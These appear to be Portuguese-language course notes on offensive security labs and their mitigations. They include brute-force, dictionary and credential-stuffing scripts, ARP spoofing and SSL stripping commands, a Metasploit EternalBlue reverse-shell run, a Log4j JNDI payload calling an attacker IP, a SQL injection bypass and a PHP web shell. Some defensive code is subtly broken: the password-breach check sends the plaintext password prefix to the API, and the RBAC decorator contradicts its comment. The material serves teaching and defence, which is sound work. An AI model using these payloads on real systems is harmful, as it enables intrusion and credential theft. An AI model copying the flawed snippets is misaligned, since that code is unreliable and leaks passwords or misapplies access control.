Phishing

1. Configurar um Servidor de E-mail Local

Você pode usar ferramentas como Postfix (para Linux) ou hMailServer (para Windows) para criar um servidor de e-mail local.
Aqui está um exemplo básico usando Postfix em Linux:

# Instalar o Postfix
sudo apt-get update
sudo apt-get install postfix

# Durante a instalação, selecione "Internet Site" e defina o nome do domínio (ex: lab.local)

# Configurar o Postfix para aceitar apenas conexões locais
sudo nano /etc/postfix/main.cf

Adicione ou modifique as seguintes linhas:

inet_interfaces = loopback-only
mynetworks = 127.0.0.0/8

Reinicie o Postfix:

sudo systemctl restart postfix

2. Criar Contas de E-mail para os Testers

Use o comando adduser para criar contas locais e, em seguida, configure os e-mails associados a essas contas.
Exemplo:

sudo adduser aluno1
sudo adduser aluno2

3. Configurar um Cliente de E-mail

Os alunos podem usar clientes como Thunderbird ou Evolution para se conectar ao servidor local.
Configure-os para usar:

Servidor: localhost
Credenciais: contas criadas (aluno1, aluno2, etc.)

4. Realizar o Teste de Phishing

Você pode usar ferramentas como Gophish ou SET (Social Engineering Toolkit) para criar e enviar e-mails de phishing simulados.
Aqui está um exemplo usando Gophish:

Instalar o Gophish:

git clone https://github.com/gophish/gophish.git
cd gophish

brew install go
go version

go build
chmod +x gophish
./gophish

Abra o navegador e acesse:

https://localhost:3333

Use as credenciais padrão:

Usuário: admin
Senha: gophish

Configurar o Gophish:

Acesse a interface em: http://localhost:3333
Crie um modelo de e-mail de phishing (ex: "Atualize sua senha").
Defina a página de destino (ex: uma página falsa de login).
Envie o e-mail para as contas locais dos testers.

5. Monitorar e Analisar os Resultados

O Gophish fornece relatórios em tempo real sobre:

Quem clicou no link
Quem inseriu credenciais

Use esses dados para discutir com os alunos como identificar e evitar phishing.

Força Bruta

1. Script para Ataque de Força Bruta (Brute Force)

Este script tenta todas as combinações possíveis de senhas até encontrar a correta.

import requests

def brute_force_login(url, username, charset, max_length):
    from itertools import product
    for length in range(1, max_length + 1):
        for attempt in product(charset, repeat=length):
            password = ''.join(attempt)
            data = {'username': username, 'password': password}
            response = requests.post(url, data=data)
            if "Login successful" in response.text:
                print(f"[+] Senha encontrada: {password}")
                return password
    print("[-] Senha não encontrada.")
    return None

# Exemplo de uso
url = "http://localhost/login"
username = "admin"
charset = "abcdefghijklmnopqrstuvwxyz0123456789"  # Caracteres para tentar
max_length = 4  # Tamanho máximo da senha

brute_force_login(url, username, charset, max_length)

2. Script para Ataque de Dicionário (Dictionary Attack)

Este script testa senhas de uma lista pré-definida (dicionário).

import requests

def dictionary_attack(url, username, wordlist_path):
    with open(wordlist_path, 'r') as file:
        for password in file:
            password = password.strip()
            data = {'username': username, 'password': password}
            response = requests.post(url, data=data)
            if "Login successful" in response.text:
                print(f"[+] Senha encontrada: {password}")
                return password
    print("[-] Senha não encontrada.")
    return None

# Exemplo de uso
url = "http://localhost/login"
username = "admin"
wordlist_path = "rockyou.txt"  # Arquivo de dicionário comum

dictionary_attack(url, username, wordlist_path)

3. Script para Credential Stuffing (Reuso de Senhas Vazadas)

Este script testa credenciais vazadas em outros serviços.

import requests

def credential_stuffing(url, credentials_file):
    with open(credentials_file, 'r') as file:
        for line in file:
            username, password = line.strip().split(':')
            data = {'username': username, 'password': password}
            response = requests.post(url, data=data)
            if "Login successful" in response.text:
                print(f"[+] Credencial válida: {username}:{password}")
                return (username, password)
    print("[-] Nenhuma credencial válida encontrada.")
    return None

# Exemplo de uso
url = "http://localhost/login"
credentials_file = "credenciais_vazadas.txt"  # Formato: usuario:senha

credential_stuffing(url, credentials_file)

Mitigações Contra Ataques de Senha

1. MFA (Autenticação Multifator)

Exige uma segunda forma de autenticação (ex: token, SMS, app).

import pyotp

def generate_otp(secret_key):
    totp = pyotp.TOTP(secret_key)
    return totp.now()

secret_key = "JBSWY3DPEHPK3PXP"  # Chave secreta para o usuário
print(f"OTP: {generate_otp(secret_key)}")

2. Senhas Fortes e Gerenciadores

Use políticas de senhas complexas (mínimo 12 caracteres, mistura de tipos).
Ferramentas como KeePass ou Bitwarden ajudam a gerenciar senhas.

3. Rate-Limit e Bloqueio Progressivo

Limite tentativas de login por IP/usuário.

from flask import Flask, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(app, key_func=get_remote_address)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 5 tentativas por minuto
def login():
    return "Login endpoint"

4. Monitoramento de Vazamentos

Use APIs como Have I Been Pwned para verificar se credenciais vazaram.

import requests

def check_breach(password):
    url = f"https://api.pwnedpasswords.com/range/{password[:5]}"
    response = requests.get(url)
    return password[5:] in response.text

if check_breach("senha123"):
    print("Senha vazada!")

Sistema Web Vulnerável (Flask)

Rode os seguintes comandos:

python3 -m venv venv
source venv/bin/activate    # Linux / macOS
venv\Scripts\activate       # Windows (PowerShell ou CMD)

pip install flask

Crie um arquivo app.py com o seguinte código:

from flask import Flask, request, jsonify

app = Flask(__name__)

# Credenciais válidas (simulando um banco de dados)
VALID_USER = "admin"
VALID_PASS = "1234"  # Senha fraca para demonstração

@app.route('/login', methods=['POST'])
def login():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')

    if username == VALID_USER and password == VALID_PASS:
        return jsonify({"status": "success", "message": "Login successful"})
    else:
        return jsonify({"status": "failed", "message": "Invalid credentials"}), 401

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

Como executar:

pip install flask
python app.py

O servidor estará rodando em http://localhost:5000/login.

Script de Ataque de Força Bruta

Crie um arquivo brute_force.py para testar combinações de senha:

import requests
import itertools
import time

def brute_force_attack(target_url, username, charset, max_length):
    start_time = time.time()
    for length in range(1, max_length + 1):
        for attempt in itertools.product(charset, repeat=length):
            password = ''.join(attempt)
            payload = {'username': username, 'password': password}
            response = requests.post(target_url, json=payload)

            if response.json().get('status') == 'success':
                print(f"\n[+] Senha encontrada: {password}")
                print(f"[+] Tempo gasto: {time.time() - start_time:.2f} segundos")
                return password
            else:
                print(f"Tentando: {password}", end='\r')
    print("\n[-] Senha não encontrada.")
    return None

# Configuração do ataque
TARGET_URL = "http://localhost:5000/login"
USERNAME = "admin"
CHARSET = "0123456789"  # Senha numérica (ex: '1234')
MAX_LENGTH = 4  # Tamanho máximo da senha

brute_force_attack(TARGET_URL, USERNAME, CHARSET, MAX_LENGTH)

Como executar:

pip install requests
python brute_force.py

Cenários de Teste

Cenário 1: Senha Fraca (4 dígitos)

Alvo: admin:1234
Resultado: O script encontra a senha em segundos.

Cenário 2: Senha Mais Complexa (8 caracteres alfanuméricos)

Alvo: admin:Secr3t!
Ajuste no script:

CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$"
MAX_LENGTH = 8

Resultado: Pode levar horas ou dias dependendo da complexidade.

Mitigação no Servidor (Proteção contra Brute Force)

Modifique app.py para incluir rate-limiting (limite de tentativas):

from flask import Flask, request, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(app, key_func=get_remote_address)

VALID_USER = "admin"
VALID_PASS = "1234"

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 5 tentativas por minuto
def login():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')

    if username == VALID_USER and password == VALID_PASS:
        return jsonify({"status": "success", "message": "Login successful"})
    else:
        return jsonify({"status": "failed", "message": "Invalid credentials"}), 401

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

Instalar dependência:

pip install flask-limiter

Efeito: Após 5 tentativas em 1 minuto, o servidor retorna 429 Too Many Requests.

Conclusão

Ataque bem-sucedido: Demonstra a importância de senhas complexas e proteções como rate-limiting.
Uso ético: Execute apenas em ambientes autorizados para testes de penetração.

Ataques de Rede (Sniffing, Spoofing, MITM)

Cenários práticos para exemplificar ataques de rede (Sniffing, Spoofing, MITM) e como mitigá-los.

1. Sniffing (Captura de Tráfego)

Cenário: Capturando Credenciais em HTTP

Ferramenta: Wireshark ou tcpdump.
Passos:
1. O atacante conecta-se à mesma rede (Wi-Fi ou LAN) que a vítima.
2. Usa tcpdump para capturar pacotes:
```
tcpdump -i eth0 -w captura.pcap
```
3. A vítima faz login em um site HTTP (não HTTPS).
4. O atacante analisa captura.pcap e encontra credenciais em texto claro.

Mitigação:

HTTPS/TLS em todos os serviços.
HSTS (HTTP Strict Transport Security) para forçar HTTPS.
VPN em redes públicas.

2. Spoofing (Falsificação)

Cenário 1: ARP Spoofing (Envenenamento de ARP)

Ferramenta: arpspoof (do pacote dsniff).
Passos:
1. O atacante envia respostas ARP falsas para a vítima, dizendo ser o gateway.
```
arpspoof -i eth0 -t <IP_VÍTIMA> <IP_GATEWAY>
```
2. Todo o tráfego da vítima passa pelo atacante (MITM).
3. O atacante pode capturar dados ou modificar tráfego.

Cenário 2: DNS Spoofing

Ferramenta: ettercap.
Passos:
1. O atacante envia respostas DNS falsas para redirecionar google.com para um IP malicioso.
2. A vítima acessa google.com e cai em um site falso.

Mitigação:

DNSSEC para validar respostas DNS.
Monitoramento de ARP (ferramentas como ARPWatch).
Segmentação de rede para limitar escopo de ataques.

3. MITM (Man-in-the-Middle)

Cenário: SSL Stripping (Downgrade de HTTPS para HTTP)

Ferramenta: sslstrip + arpspoof.
Passos:
1. O atacante faz ARP spoofing para interceptar tráfego.
2. Usa sslstrip para substituir links HTTPS por HTTP.
3. A vítima digita credenciais em um site "HTTP" (que parece legítimo).
4. O atacante captura as credenciais.

Mitigação:

HSTS (impede downgrade para HTTP).
Certificados SSL válidos e inspeção de tráfego.
IDS/IPS para detectar atividades suspeitas (ex: Snort).

4. Demonstração Prática com Ferramentas

Configuração do Ambiente:

Kali Linux (atacante) e máquinas vulneráveis (vítimas).
Rede local compartilhada (ex: Wi-Fi ou LAN virtual).

Ferramentas Recomendadas:

Ataque	Ferramenta	Comando/Exemplo
Sniffing	tcpdump, Wireshark	`tcpdump -i eth0 -w captura.pcap`
ARP Spoofing	arpspoof, ettercap	`arpspoof -i eth0 -t <vítima> <gateway>`
DNS Spoofing	ettercap	Configurar `etter.dns` para redirecionar
MITM (SSLStrip)	sslstrip	`sslstrip -l 8080`

5. Mitigações Avançadas

HTTPS/TLS em Tudo:

Use Let's Encrypt para certificados gratuitos.
Configure servidores para negar conexões HTTP.

HSTS:

Adicione ao cabeçalho HTTP:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

VPN e Segmentação:

Use OpenVPN ou WireGuard em redes não confiáveis.
Isole redes críticas com VLANs.

IDS/IPS:

Exemplo com Snort:

snort -q -A console -c /etc/snort/snort.conf -i eth0

Conclusão

Ataques de rede são eficazes em ambientes desprotegidos.
Mitigações como HTTPS, HSTS, VPN e IDS/IPS são essenciais.
Sempre teste em ambientes controlados para validar defesas.

Exploração de Vulnerabilidades

Cenários práticos para exemplificar exploração de vulnerabilidades, inspirados em casos reais como o WannaCry (SMBv1), e como mitigá-los:

1. Cenário: Exploração de SMBv1 (WannaCry)

Contexto:

Vulnerabilidade: CVE-2017-0144 (EternalBlue) no protocolo SMBv1 do Windows.
Ataque: O ransomware WannaCry explorou essa falha para se propagar automaticamente entre máquinas desatualizadas.

Simulação do Ataque:

Ambiente:

Máquina Windows 7 sem patches (simulando vítima).
Kali Linux (atacante) com Metasploit.

Exploração:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP_DA_VÍTIMA>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

Se bem-sucedido, o atacante ganha acesso total à máquina.

Mitigação:

Patching: Instalar o patch MS17-010 da Microsoft.
Desativar SMBv1:

Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol

Segmentação de rede: Isolar sistemas legados.

2. Cenário: Exploração de Log4j (CVE-2021-44228)

Contexto:

Vulnerabilidade: RCE (Remote Code Execution) no Log4j 2.x via JNDI.
Impacto: Permite execução remota de código em aplicações Java.

Simulação do Ataque:

Ambiente:

Servidor web vulnerável com Log4j 2.14.0.
Kali Linux (atacante) com nc para shell reverso.

Exploração: Injeta payload em campos de input (ex: cabeçalho HTTP User-Agent):

GET / HTTP/1.1
User-Agent: ${jndi:ldap://<IP_ATACANTE>:1389/Exploit}

O servidor vulnerável executa o payload.

Mitigação:

Atualizar para Log4j 2.17.0+.
Configuração emergencial:

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Scan contínuo: Usar ferramentas como log4j-scan para detecção.

3. Cenário: SQL Injection (Clássico)

Contexto:

Vulnerabilidade: Falha em sanitizar inputs em consultas SQL.
Impacto: Roubo de dados, bypass de autenticação.

Simulação do Ataque:

Ambiente: Aplicação web com login vulnerável:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Exploração: Input malicioso:

Username: admin'--
Password: qualquer

Consulta resultante:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'qualquer';

Bypassa autenticação.

Mitigação:

Prepared Statements:

cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (user, pass))

WAF (ex: ModSecurity) para bloquear padrões maliciosos.

4. Cenário: Heartbleed (OpenSSL CVE-2014-0160)

Contexto:

Vulnerabilidade: Falha no heartbeat do OpenSSL, vazando memória do servidor.
Impacto: Credenciais, chaves privadas expostas.

Simulação do Ataque:

Ambiente:

Servidor com OpenSSL 1.0.1-f (vulnerável).
Kali Linux com openssl para teste:

openssl s_client -connect <IP_VULNERÁVEL>:443 -tlsextdebug 2>&1 | grep 'server extension "heartbeat"'

Exploração: Usar o Metasploit:

use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS <IP_VULNERÁVEL>
run

Extrai dados da memória (ex: sessões de usuários).

Mitigação:

Atualizar OpenSSL para versão 1.0.1g+.
Revogar certificados comprometidos.

5. Cenário: Zero-Day em Aplicação Web

Contexto:

Vulnerabilidade: Falha desconhecida (ex: RCE em um CMS personalizado).
Impacto: Comprometimento total do sistema.

Simulação do Ataque:

Ambiente:

Aplicação web com upload de arquivos não sanitizado.

Exploração: Upload de um .php malicioso:

<?php system($_GET['cmd']); ?>

Acesso via:

http://vulnerable-site.com/uploads/shell.php?cmd=id

Mitigação:

Segurança por Design:
- Validação estrita de uploads (extensões, conteúdo).
- Execução em sandbox.
Pentests Regulares: Identificar falhas antes de ataques.

6. Fluxo de Mitigação (Priorização)

Scan de Vulnerabilidades:

Ferramentas: Nessus, OpenVAS, Trivy.
Exemplo:

nessuscli scan --target <IP> --policy "Full Audit"

Priorização:

Use CVSS para classificar riscos (ex: Critical > High > Medium).

Patch Management:

Automatize com WSUS (Windows) ou Ansible (Linux).

Pentests:

Simule ataques reais com ferramentas como Metasploit e Burp Suite.

Conclusão

Exploração de vulnerabilidades é inevitável sem gestão proativa.
Mitigações eficazes incluem:
- Patching contínuo.
- Scan + priorização (ex: corrigir RCEs antes de CSRF).
- Pentests para validar defesas.
- Segurança por Design (ex: princípio do menor privilégio).

🔐 Segurança Física x Segurança Lógica

Segurança Física

Refere-se às medidas materiais e estruturais adotadas para proteger os ativos de TI e informações contra ameaças físicas.
Exemplos:

Controle de entrada em prédios e salas de servidores (catracas, cartões, biometria).
Câmeras de vigilância (CCTV).
Guardas e rondas de segurança.
Cofres e armários trancados para equipamentos críticos.
Sistemas contra incêndio, inundação e energia elétrica redundante.

👉 O objetivo é evitar acesso não autorizado físico e garantir a disponibilidade dos equipamentos.

Segurança Lógica

Refere-se às medidas tecnológicas e procedimentais que protegem os dados e sistemas contra acessos indevidos no nível digital.
Exemplos:

Autenticação (senhas, tokens, biometria digital).
Autorização (permissões baseadas em papéis ou políticas).
Criptografia de dados (em repouso e em trânsito).
Firewalls, IDS/IPS (detecção e prevenção de intrusões).
Políticas de senha e autenticação multifator (MFA).

👉 O objetivo é garantir confidencialidade, integridade e disponibilidade (CIA) da informação.

🎯 Modelos de Controle de Acesso

Controle de acesso define quem pode acessar o quê e em quais condições.
Os principais modelos são:

1. DAC (Discretionary Access Control – Controle Discricionário de Acesso)

O dono do recurso define quem pode acessá-lo.
Permissões atribuídas diretamente a usuários ou grupos.
Flexível, mas pode ser menos seguro, pois o usuário pode conceder acesso a terceiros.
Exemplo: permissões de arquivos no Windows (NTFS) ou Linux (chmod).

2. MAC (Mandatory Access Control – Controle Obrigatório de Acesso)

O acesso é definido por políticas centrais, não pelo dono do recurso.
Baseado em classificações e rótulos de segurança (Ex.: Confidencial, Secreto, Top Secret).
Muito utilizado em ambientes governamentais e militares.
O usuário não pode alterar permissões.
Exemplo: SELinux no Linux, que impõe regras fixas definidas pelo administrador.

3. RBAC (Role-Based Access Control – Controle de Acesso Baseado em Papéis)

Os acessos são atribuídos com base em funções/papéis (roles) dentro da organização.
Usuários recebem papéis (ex.: Administrador, Analista, Estagiário).
Papéis definem permissões de forma centralizada e padronizada.
Facilita a gestão em ambientes grandes e corporativos.
Exemplo: um "Gerente de RH" tem acesso a dados de funcionários, mas não a dados financeiros.

✅ Comparativo dos Modelos

Modelo	Quem define	Vantagem	Desvantagem	Exemplo de uso
DAC	Dono do recurso	Flexível e simples	Pode ser inseguro se mal configurado	Compartilhamento de arquivos entre usuários
MAC	Política central (admin/organização)	Muito seguro e rígido	Pouco flexível	Governos, forças armadas
RBAC	Papéis definidos na organização	Escalável e fácil de administrar	Pode exigir manutenção de papéis complexos	Empresas com muitos colaboradores

1. Demonstração Prática: Controle de Acesso em um Sistema Web (RBAC)

Contexto:

Segurança Lógica: Implementar um sistema de autenticação e autorização baseado em RBAC (Role-Based Access Control) em Python (Flask).
Objetivo: Restringir acesso a recursos com base em papéis (ex.: Admin, Usuário, Convidado).

Código do Sistema (Flask + RBAC):

from flask import Flask, request, jsonify
from functools import wraps

app = Flask(__name__)

# Dados simulados (usuários e papéis)
users = {
    "admin": {"password": "admin123", "role": "admin"},
    "user1": {"password": "user123", "role": "user"},
}

# Recursos protegidos
resources = {
    "dashboard": {"allowed_roles": ["admin", "user"]},
    "config": {"allowed_roles": ["admin"]},
}

# Decorator para verificar roles
def check_role(role):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            username = request.args.get("username")
            if users.get(username, {}).get("role") != role:
                return jsonify({"error": "Acesso negado"}), 403
            return f(*args, **kwargs)
        return wrapper
    return decorator

# Rotas
@app.route("/login", methods=["POST"])
def login():
    data = request.get_json()
    username = data.get("username")
    password = data.get("password")

    if username in users and users[username]["password"] == password:
        return jsonify({"message": "Login bem-sucedido", "role": users[username]["role"]})
    return jsonify({"error": "Credenciais inválidas"}), 401

@app.route("/dashboard")
@check_role("user")  # Acesso para 'user' e 'admin'
def dashboard():
    return jsonify({"message": "Bem-vindo ao Dashboard"})

@app.route("/config")
@check_role("admin")  # Acesso apenas para 'admin'
def config():
    return jsonify({"message": "Configurações do sistema"})

if __name__ == "__main__":
    app.run(debug=True)

Testes:

Login como Admin:

curl -X POST http://localhost:5000/login -H "Content-Type: application/json" -d '{"username":"admin","password":"admin123"}'

Saída:

{"message": "Login bem-sucedido", "role": "admin"}

Acesso ao /config (apenas admin):

curl http://localhost:5000/config?username=admin

Saída:

{"message": "Configurações do sistema"}

Tentativa de acesso como Usuário Comum:

curl http://localhost:5000/config?username=user1

Saída:

{"error": "Acesso negado"}

2. Demonstração Prática: Autenticação Biométrica (Segurança Física + Lógica)

Contexto:

Segurança Física: Uso de um sensor biométrico (ex.: leitor de impressão digital) para controle de acesso a uma sala de servidores.
Segurança Lógica: Integração do sensor a um sistema de autenticação (ex.: Python + API).

Código Simulado (Python + Sensor Biométrico):

# Banco de dados de impressões digitais (simulado)
fingerprint_db = {
    "user1": "template_123",
    "admin": "template_456",
}

def scan_fingerprint():
    scanned_template = input("Digite o template da impressão digital: ")
    return scanned_template

def authenticate():
    scanned_template = scan_fingerprint()
    for user, template in fingerprint_db.items():
        if scanned_template == template:
            print(f"Acesso concedido para {user}")
            return user
    print("Acesso negado: impressão digital não reconhecida")
    return None

# Teste
print("=== Sistema de Autenticação Biométrica ===")
user = authenticate()
if user == "admin":
    print("Redirecionando para sala de servidores...")

Funcionamento:

O sensor biométrico captura a impressão digital e gera um template.
O sistema compara o template com o banco de dados.
Se válido, libera o acesso físico (porta) e lógico (sistema interno).

3. Comparativo: Segurança Física vs. Lógica

Critério	Segurança Física	Segurança Lógica
Exemplo	Biometria, catracas, câmeras	RBAC, MFA, criptografia
Foco	Proteger ativos materiais	Proteger dados e sistemas
Implementação	Sensores, trancas, infraestrutura	Software, políticas, algoritmos
Integração	Pode ser vinculada à lógica (ex.: biometria + RBAC)	Pode exigir suporte físico (ex.: tokens)

4. Modelos de Controle de Acesso em Ação

Modelo	Exemplo Prático
DAC	Um usuário compartilha um arquivo no Google Drive com permissões específicas.
MAC	Um sistema militar onde documentos "Top Secret" só são acessíveis com clearance.
RBAC	Um hospital onde médicos acessam prontuários, mas não dados financeiros.

Conclusão

Segurança física e lógica são complementares e devem ser integradas (ex.: biometria + RBAC).
RBAC é ideal para ambientes corporativos, enquanto MAC é usado em cenários de alta segurança.
Autenticação biométrica é um exemplo de como segurança física e lógica se conectam.

Metasploit & Burp Suite — Conceitos e Laboratório Seguro

1) Conceitos Fundamentais

A) O que é Metasploit?

Ferramenta: framework open‑source para testes de segurança.
Uso: orquestra reconhecimento, validação de vulnerabilidades e pós‑exploração (somente em ambientes autorizados).
Componentes:
- msfconsole: interface principal para gerenciamento de módulos.
- Exploits: código que prova a existência/impacto de vulnerabilidades.
- Payloads: código executado após a exploração (ex.: meterpreter).
- Auxiliary/Scanner: módulos de coleta e validação não intrusiva.

B) O que é Burp Suite?

Ferramenta: plataforma para testes de segurança em aplicações web.
Uso: inspeciona e modifica requisições HTTP/S para analisar superfícies de ataque.
Componentes:
- Proxy: intercepta tráfego do navegador (com certificado local confiável).
- Scanner (editions compatíveis): identifica padrões de vulnerabilidade.
- Repeater: reenvia requisições para observar respostas.
- Intruder (editions compatíveis): automação de testes controlados.

2) Laboratórios Seguros (Visão Didática — Defesa Primeiro)

2.1 Estudo de Caso: SMBv1 (WannaCry / MS17‑010)

Objetivo: entender a exposição de serviços legados e aplicar hardening e patching. Ambiente recomendado: VMs isoladas (ex.: Windows legado em rede privada sem acesso à internet) + host de análise.

Tarefas (defensivas)

Inventário de máquinas e serviços (em rede de laboratório).
Verificação do SMBv1 e do patch MS17‑010 (sem exploração).
Aplicar mitigação: desativar SMBv1 e documentar controles compensatórios.
Segmentação: isolar máquinas legadas e restringir tráfego lateral.
Evidências: capturas de tela/configs mostrando SMBv1 desativado e política aplicada.

Snippets úteis (defensivos)
PowerShell — desabilitar SMBv1 e conferir estado:

# Desabilitar SMBv1 (cliente)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# Conferir recursos SMB
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

2.2 SQL Injection (OWASP Juice Shop) — Detecção & Correção

Objetivo: identificar pontos vulneráveis sem exploração destrutiva e corrigir na aplicação.

Ambiente: OWASP Juice Shop (contêiner local) + navegador configurado para usar o Burp Proxy (CA local do Burp instalada).

Tarefas (defensivas)

Mapeamento de rotas web e inputs (com Proxy ▶ Target ▶ Site map).
Análise de parâmetros no Repeater para observar comportamento da aplicação.
Confirmar sinais de validação inadequada sem vazar dados sensíveis.
Aplicar correções no backend usando prepared statements e validação de entrada.
Revalidação com o Proxy/Scanner para confirmar a mitigação.

Prepared statements — exemplos
Python (psycopg2):

cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = crypt(%s, password)",
    (user, pwd)
)

Node.js (pg):

await pool.query(
  "SELECT * FROM users WHERE username = $1 AND password = crypt($2, password)",
  [user, pwd]
);

Java (JDBC):

PreparedStatement ps = conn.prepareStatement(
  "SELECT * FROM users WHERE username = ? AND password = crypt(?, password)"
);
ps.setString(1, user);
ps.setString(2, pwd);

WAF/Ruleset: considerar ModSecurity + OWASP CRS para cobertura básica enquanto a correção é aplicada.

2.3 MITM Awareness — HSTS, TLS e Deteção de Anomalias

Objetivo: reconhecer sinais de tentativa de interceptação e validar endurecimento (hardening) no cliente/servidor.

Tarefas (defensivas)

Validar certificados (cadeia, validade, revogação) no navegador e via CLI.
Confirmar HSTS no servidor — evitar downgrade para HTTP.
Monitorar ARP/DNS anômalos em laboratório com ferramentas de detecção (ex.: arpwatch) em vez de simular ataques.
VPN em redes não confiáveis e segmentação por VLAN.

Snippets (defensivos)
Nginx — HSTS:

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

Verificar HSTS pela CLI:

curl -I https://seu-dominio.example | grep -i strict-transport-security

3) Comparativo de Ferramentas

Ferramenta	Uso Principal	Exemplos de Aplicação (defensiva)
Metasploit	Orquestração de testes de segurança	Validação controlada em lab; coleta auxiliar
Burp Suite	Análise de aplicações web	Interceptação, análise e revalidação de fixes

4) Fluxo Recomendado para Pentests (Ético e Controlado)

Autorização formal (escopo, janelas, contatos, metrics).
Reconhecimento (mapear ativos/superfícies).
Validação não intrusiva (logs, scanners de configuração).
Provas de conceito somente em lab/clones, sem dados reais.
Mitigação e revalidação (pareamento dev‑sec‑ops).
Relatório (achados, risco, impacto, prioridade, plano de ação).

Aplicações de IA e Machine Learning (ML) na Segurança Cibernética

As ferramentas de IA e ML são aplicadas em diversas áreas da segurança cibernética. Abaixo, seguem exemplos específicos, seus funcionamentos e aplicações práticas.

1. Detecção de Ameaças e Anomalias

Objetivo: Identificar comportamentos incomuns ou maliciosos em redes, sistemas ou endpoints que possam indicar um ataque.

Ferramentas e Funcionamento

Darktrace
- Tecnologia: Usa algoritmos de aprendizado não supervisionado (como Autoencoders) para criar uma "linha de base" do comportamento normal da rede.
- Aplicação: Detecta desvios em tempo real, como movimentação lateral de atacantes ou exfiltração de dados.
- Exemplo: Se um usuário acessar um servidor fora do horário habitual, o sistema gera um alerta.
Vectra AI
- Tecnologia: Analisa tráfego de rede com ML para identificar padrões de ataques conhecidos (como ransomware ou ataques a IoT).
- Aplicação: Prioriza ameaças com base em risco (ex.: tráfego C2 - Command and Control).
CrowdStrike Falcon
- Tecnologia: Usa modelos supervisionados para detectar malware em endpoints.
- Aplicação: Analisa processos em execução para identificar comportamentos suspeitos (ex.: injeção de código em processos legítimos).

2. Análise de Malware e Sandboxing

Objetivo: Classificar e entender malware dinamicamente (em execução) ou estaticamente (sem execução).

Ferramentas e Funcionamento

Joe Sandbox
- Tecnologia: Combina análise dinâmica (execução em ambiente controlado) com ML para extrair features como chamadas de API ou alterações no sistema.
- Aplicação: Gera relatórios automatizados com indicadores de comprometimento (IOCs).
Hybrid Analysis
- Tecnologia: Integra análise estática (extração de strings, entropia de código) e dinâmica.
- Exemplo: Detecta packers ou ofuscação usando ML para prever a probabilidade de ser malware.
Cuckoo Sandbox + ML
- Tecnologia: Estendido com modelos de classificação (ex.: Random Forest) para categorizar malware (ransomware, spyware, etc.).

3. Automação de Pentest e Red Team

Objetivo: Automatizar tarefas repetitivas em testes de penetração e simular ataques avançados.

Ferramentas e Funcionamento

PentestGPT
- Tecnologia: Usa LLMs (Large Language Models) para sugerir comandos, explorar vulnerabilidades e gerar relatórios.
- Exemplo: Automatiza a exploração de uma vulnerabilidade SQLi com base em descrições em linguagem natural.
Burp Suite + Plugins de IA
- Tecnologia: Plugins como Turbo Intruder usam ML para otimizar ataques de força bruta ou fuzzing.
- Aplicação: Identifica parâmetros vulneráveis em APIs mais rapidamente.
Synack
- Tecnologia: Plataforma que combina pentesters humanos com automação de ML para escalar testes.

4. Resposta a Incidentes (IR) e SOC

Objetivo: Priorizar e investigar alertas de segurança de forma eficiente.

Ferramentas e Funcionamento

IBM Watson for Cybersecurity
- Tecnologia: Usa NLP (Natural Language Processing) para analisar logs e artigos de ameaças, correlacionando eventos.
- Exemplo: Classifica um alerta de firewall como "falso positivo" com base em contexto.
Splunk + ML Toolkit
- Tecnologia: Aplica algoritmos como clustering para agrupar logs anômalos (ex.: múltiplas tentativas de login falhas).
Google Chronicle
- Tecnologia: Armazena telemetria em escala e usa ML para detectar padrões de longo prazo (ex.: campanhas de APT).

5. Engenharia Reversa e Análise de Código

Objetivo: Desofuscar e analisar código malicioso ou binários.

Ferramentas e Funcionamento

Ghidra + Plugins de IA
- Tecnologia: Plugins como GhidraFLIRT usam ML para identificar funções em binários (ex.: reconhecer bibliotecas padrão).
BinaryAI
- Tecnologia: Compara binários com uma base de dados usando redes neurais para detectar similaridades com malware conhecido.

6. Phishing e Fraud Detection

Objetivo: Identificar e-mails ou sites fraudulentos.

Ferramentas e Funcionamento

Area 1 Security
- Tecnologia: Analisa metadados de e-mails (ex.: cabeçalhos, domínios) com ML para detectar phishing.
- Exemplo: Reconhece domínios typosquatting (ex.: "g00gle.com").
Barracuda Sentinel
- Tecnologia: Usa NLP para detectar BEC (Business Email Compromise) analisando o tom e contexto de e-mails.

Tendências e Desafios

Explicabilidade: Muitas ferramentas de IA são "caixas pretas", dificultando a interpretação de alertas.
Adversarial ML: Modelos de ML podem ser enganados (ex.: malware projetado para evadir detecção).
Integração: Ferramentas como MITRE ATT&CK + IA estão sendo usadas para mapear táticas de ataque com ML.

nunesfb/tools.md

Phishing

1. Configurar um Servidor de E-mail Local

2. Criar Contas de E-mail para os Testers

3. Configurar um Cliente de E-mail

4. Realizar o Teste de Phishing

Instalar o Gophish:

Configurar o Gophish:

5. Monitorar e Analisar os Resultados

Força Bruta

1. Script para Ataque de Força Bruta (Brute Force)

2. Script para Ataque de Dicionário (Dictionary Attack)

3. Script para Credential Stuffing (Reuso de Senhas Vazadas)

Mitigações Contra Ataques de Senha

1. MFA (Autenticação Multifator)

2. Senhas Fortes e Gerenciadores

3. Rate-Limit e Bloqueio Progressivo

4. Monitoramento de Vazamentos

Sistema Web Vulnerável (Flask)

Como executar:

Script de Ataque de Força Bruta

Como executar:

Cenários de Teste

